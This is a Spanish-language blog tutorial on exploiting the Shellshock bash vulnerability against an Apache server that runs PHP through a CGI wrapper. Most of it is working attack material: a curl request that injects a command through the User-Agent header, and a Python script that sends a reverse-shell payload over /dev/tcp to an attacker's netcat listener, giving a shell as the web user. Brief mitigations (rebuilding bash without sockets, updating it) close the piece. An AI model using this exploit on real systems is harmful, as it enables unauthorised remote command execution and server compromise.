Esta web utiliza cookies, puedes ver nuestra política de cookies, aquí Si continuas navegando estás aceptándola

Como explotar la vulnerabilidad BashShock


En nuestro entorno de pruebas vamos a montar un servidor apache que ejecuta php mediante un wrapper encargado de la ejecución del interprete php, hay que destacar que este no es el único vector de ataque ya que muchos programas operan de forma similar siendo afectados del mismo modo, ssh, git por ejemplo podrían verse afectados.

 

Primero comprobamos si la versión de bash instalada es vulnerable o no:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

 

Si no fuesemos vulnerables:

bash: aviso: x: ignoring function definition attempt
bash: error al importar la definición de la función para `x'
this is a test

 

El vhost es el siguiente:

vi /etc/apache2/vhosts.d/00_web.conf

Listen 80

<VirtualHost *:80>
    ServerName *
    ServerAdmin [email protected]
    DocumentRoot /var/www/web_pruebas
    DirectoryIndex index.php index.html index.htm
    ErrorLog "/var/log/apache2/web_pruebas_error.log"
    CustomLog /var/log/apache2/web_pruebas_access.log combined
    LogLevel debug
    SuexecUserGroup web_prueba web_prueba
    ScriptAlias /local-bin /var/www/bin/web_pruebas
    AddHandler application/x-httpd-php5 php
    Action application/x-httpd-php5 /local-bin/badbash.sh

    <Directory "/var/www/bin/web_pruebas">
            Options -Indexes ExecCGI
            Order allow,deny
            Allow from all
    </Directory>

    <Directory "/var/www/web_pruebas">
            Options -Indexes ExecCGI FollowSymLinks
            AllowOverride All
            Order allow,deny
            Allow from all
     </Directory>
</VirtualHost>

 

El script que actúa como wrapper es el siguiente:

vi /var/www/bin/web_pruebas/badbash.sh
#!/bin/bash
export PHP_FCGI_CHILDREN=3
exec /var/www/bin/web_pruebas/php-cgi

 

Ahora con un inocente curl podemos realizar la petición:

curl -k -H 'User-Agent: () { :;}; echo aa>/tmp/aa'  http://IP/index.php

 

En el servidor podemos comprobar que se ha generado el fichero con el contenido deseado en el servidor web:

ls -al /tmp/aa
-rw------- 1 web_prueba web_prueba 3 sep 25 15:10 /tmp/aa

 

cat /tmp/aa
aa

 

Lo que ha ocurrido es que la petición ha sido atendida por el wrapper el cual guarda la variable User-Agent que es una función, como la versión de bash es vulnerable no deja de leer cuando termina la función({ :;} esta función no hace nada) y ejecuta el comando indicado.


Pero la fiesta no termina aquí, si nos lo curramos un poco mas podemos llegar a obtener shell con el usuario que ejecuta el vhost, para ello utilizaremos el siguiente script en python:

vi bashshoc.py
#! /usr/bin/python
import httplib,urllib,sys
if (len(sys.argv)<4):
        print "Usage: %s <host> <vulnerable CGI> <attackhost/PORT>" % sys.argv[0]
        print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
        exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
headers = {"Content-type": "application/x-www-form-urlencoded",  "test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

 

En otra consola dejamos netcat a la escucha de la conexión(encima es una conexión reversa, genial!!):

nc -l -p 8080

 

Ahora lanzamos nuestro script:

python2.7 bashshock.py IP_SERVER /index.php NUESTRA_IP/8080

 

En este instante bang!! nos aparecerá una shell con los permisos del usuario del vhost en la consola donde teniamos el netcat a la escucha.

[email protected] /var/www/bin/web_pruebas $

 

NOTA: El atacante estará limitado a este usuario ya que se configuró apache para que se ejecutase con suexec, si no fuese así se tendría acceso al resto de vhosts.

 

Una forma de evitar que nos abran la conexión por bash sería recompilándolo sin soporte para sockets:

vi /etc/portage/package.use/bash
app-shells/bash -net

emerge app-shells/bash

 

De todos modos el atacante podría realizar el ataque en dos pasos, primero instalar algún software como netcat y luego realizando la conexión con dicho software en vez de bash o incluso mas sencillo, subir una webshell directamente.

Lo mas lógico es actualizar la versión de bash.

emerge -u app-shells/bash

 

NOTA: La última versión afectada por dicho bug es la 4.3!!

 

En este artículo hemos visto como algo que parecía no afectarnos puede llegar a comprometer nuestros sistemas de forma grave, así que mantened SIEMPRE vuestros sistemas operativos actualizados ;)


Autor: Kr0m -- 25/09/2014 19:09:59